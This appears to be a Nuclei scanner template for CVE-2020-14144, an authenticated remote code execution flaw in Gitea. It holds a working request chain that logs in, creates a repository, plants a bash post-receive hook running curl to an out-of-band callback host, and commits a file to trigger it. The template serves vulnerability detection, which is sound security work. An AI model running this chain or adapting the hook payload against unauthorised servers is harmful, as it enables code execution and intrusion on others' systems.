105 lines
3.8 KiB
YAML
105 lines
3.8 KiB
YAML
id: CVE-2020-14144
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info:
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name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
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author: theamanrawat
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severity: high
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description: |
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Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
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remediation: Fixed in version 1.16.7.
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reference:
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- https://dl.gitea.io/gitea/1.16.6
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- https://github.com/go-gitea/gitea/pull/13058
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- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
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- https://docs.github.com/en/enterprise-server@2.19/admin/policies/creating-a-pre-receive-hook-script
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2020-14144
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cwe-id: CWE-78
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epss-score: 0.97121
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epss-percentile: 0.99714
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cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 7
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vendor: gitea
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product: gitea
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shodan-query: html:"Powered by Gitea Version"
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tags: cve,cve2020,rce,gitea,authenticated,git,intrusive
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http:
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- raw:
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- |
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GET /user/login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /user/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
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- |
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GET /repo/create HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /repo/create HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
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- |
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POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
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- |
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GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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- type: word
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part: body_1
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words:
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- "Gitea:"
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- name="_csrf" value="(.*)"
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internal: true
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- type: regex
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name: auth_csrf
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group: 1
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regex:
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- name="_csrf" content="(.*)"
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internal: true
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- type: regex
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name: last_commit
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group: 1
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regex:
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- name="last_commit" value="(.*)"
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internal: true
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# digest: 4a0a004730450220168dfd8f9b557beef2533281b9557b6564fef9ed31f3d3ba89857af1d39bde520221009ba19b9f66cb1f7e405336115b011920dcafeeaa2d28d10f45a476f6d5ba09be:922c64590222798bb761d5b6d8e72950
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